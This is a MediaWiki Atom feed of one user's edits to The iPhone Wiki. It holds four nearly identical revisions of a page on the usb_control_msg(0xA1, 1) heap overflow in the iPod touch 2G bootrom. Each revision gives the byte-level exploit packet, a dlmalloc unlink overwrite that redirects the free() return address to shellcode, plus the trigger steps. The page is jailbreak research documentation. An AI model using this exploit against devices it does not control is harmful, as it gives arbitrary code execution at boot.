<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Arjanv</id>
	<title>The iPhone Wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://www.theiphonewiki.com/w/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Arjanv"/>
	<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/wiki/Special:Contributions/Arjanv"/>
	<updated>2026-06-14T18:08:20Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.31.14</generator>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10716</id>
		<title>Usb control msg(0xA1, 1) Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10716"/>
		<updated>2010-10-18T13:01:06Z</updated>

		<summary type="html">&lt;p&gt;Arjanv: /* Credit (Alphabetical) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}&lt;br /&gt;
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.&lt;br /&gt;
&lt;br /&gt;
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.&lt;br /&gt;
&lt;br /&gt;
== Credit (Alphabetical) ==&lt;br /&gt;
* '''vulnerability''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''exploitation''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''payload''':  [http://greenpois0n.com Greenpois0n RC4]: both the old [[iBoot-240.4]] and [[iBoot-240.5.1]]&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
== Vulnerability ==&lt;br /&gt;
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.&lt;br /&gt;
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
In order to exploit it, send this special USB packet (using 0x21, 1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ 0x100 bytes of nulls ]&lt;br /&gt;
/* free'd buffer dlmalloc header: */&lt;br /&gt;
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk&lt;br /&gt;
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk&lt;br /&gt;
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */&lt;br /&gt;
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction&lt;br /&gt;
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer&lt;br /&gt;
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)&lt;br /&gt;
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)&lt;br /&gt;
/* attack dlmalloc header: */&lt;br /&gt;
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk&lt;br /&gt;
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)&lt;br /&gt;
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()&lt;br /&gt;
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.&lt;br /&gt;
&lt;br /&gt;
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!&lt;br /&gt;
&lt;br /&gt;
Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode&lt;br /&gt;
shall jump to FD[0x10] to skip the junk.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Arjanv</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10715</id>
		<title>Usb control msg(0xA1, 1) Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10715"/>
		<updated>2010-10-18T13:00:24Z</updated>

		<summary type="html">&lt;p&gt;Arjanv: /* Credit (Alphabetical) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}&lt;br /&gt;
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.&lt;br /&gt;
&lt;br /&gt;
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.&lt;br /&gt;
&lt;br /&gt;
== Credit (Alphabetical) ==&lt;br /&gt;
* '''vulnerability''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''exploitation''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''payload''': * [http://greenpois0n.com Greenpois0n RC4]: both the old [[iBoot-240.4]] and [[iBoot-240.5.1]&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
== Vulnerability ==&lt;br /&gt;
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.&lt;br /&gt;
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
In order to exploit it, send this special USB packet (using 0x21, 1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ 0x100 bytes of nulls ]&lt;br /&gt;
/* free'd buffer dlmalloc header: */&lt;br /&gt;
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk&lt;br /&gt;
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk&lt;br /&gt;
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */&lt;br /&gt;
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction&lt;br /&gt;
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer&lt;br /&gt;
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)&lt;br /&gt;
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)&lt;br /&gt;
/* attack dlmalloc header: */&lt;br /&gt;
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk&lt;br /&gt;
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)&lt;br /&gt;
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()&lt;br /&gt;
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.&lt;br /&gt;
&lt;br /&gt;
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!&lt;br /&gt;
&lt;br /&gt;
Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode&lt;br /&gt;
shall jump to FD[0x10] to skip the junk.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Arjanv</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10714</id>
		<title>Usb control msg(0xA1, 1) Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10714"/>
		<updated>2010-10-18T12:59:46Z</updated>

		<summary type="html">&lt;p&gt;Arjanv: /* Credit (Alphabetical) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}&lt;br /&gt;
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.&lt;br /&gt;
&lt;br /&gt;
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.&lt;br /&gt;
&lt;br /&gt;
== Credit (Alphabetical) ==&lt;br /&gt;
* '''vulnerability''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''exploitation''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''payload''': * [http://greenpois0n.com Greenpois0n RC4: both the old [[iBoot-240.4]] and [[iBoot-240.5.1]]&lt;br /&gt;
]&lt;br /&gt;
&lt;br /&gt;
== Vulnerability ==&lt;br /&gt;
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.&lt;br /&gt;
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
In order to exploit it, send this special USB packet (using 0x21, 1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ 0x100 bytes of nulls ]&lt;br /&gt;
/* free'd buffer dlmalloc header: */&lt;br /&gt;
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk&lt;br /&gt;
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk&lt;br /&gt;
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */&lt;br /&gt;
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction&lt;br /&gt;
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer&lt;br /&gt;
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)&lt;br /&gt;
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)&lt;br /&gt;
/* attack dlmalloc header: */&lt;br /&gt;
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk&lt;br /&gt;
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)&lt;br /&gt;
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()&lt;br /&gt;
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.&lt;br /&gt;
&lt;br /&gt;
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!&lt;br /&gt;
&lt;br /&gt;
Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode&lt;br /&gt;
shall jump to FD[0x10] to skip the junk.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Arjanv</name></author>
		
	</entry>
	<entry>
		<id>https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10713</id>
		<title>Usb control msg(0xA1, 1) Exploit</title>
		<link rel="alternate" type="text/html" href="https://www.theiphonewiki.com/w/index.php?title=Usb_control_msg(0xA1,_1)_Exploit&amp;diff=10713"/>
		<updated>2010-10-18T12:58:18Z</updated>

		<summary type="html">&lt;p&gt;Arjanv: /* Credit (Alphabetical) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}&lt;br /&gt;
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.&lt;br /&gt;
&lt;br /&gt;
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.&lt;br /&gt;
&lt;br /&gt;
== Credit (Alphabetical) ==&lt;br /&gt;
* '''vulnerability''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''exploitation''': [[User:pod2g|pod2g]]&lt;br /&gt;
* '''payload''': * [http://greenpois0n.com Greenpois0n RC4 has support for this on both the old iBoot 2.40 and the new iBoot 2.40-2]&lt;br /&gt;
&lt;br /&gt;
== Vulnerability ==&lt;br /&gt;
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.&lt;br /&gt;
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
In order to exploit it, send this special USB packet (using 0x21, 1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ 0x100 bytes of nulls ]&lt;br /&gt;
/* free'd buffer dlmalloc header: */&lt;br /&gt;
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk&lt;br /&gt;
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk&lt;br /&gt;
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */&lt;br /&gt;
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction&lt;br /&gt;
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer&lt;br /&gt;
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)&lt;br /&gt;
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)&lt;br /&gt;
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)&lt;br /&gt;
/* attack dlmalloc header: */&lt;br /&gt;
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk&lt;br /&gt;
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)&lt;br /&gt;
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()&lt;br /&gt;
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.&lt;br /&gt;
&lt;br /&gt;
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!&lt;br /&gt;
&lt;br /&gt;
Note: FD[0xc] will also be overwritten by BK (because of the free() unlink code), the first instruction of the shellcode&lt;br /&gt;
shall jump to FD[0x10] to skip the junk.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploits]]&lt;/div&gt;</summary>
		<author><name>Arjanv</name></author>
		
	</entry>
</feed>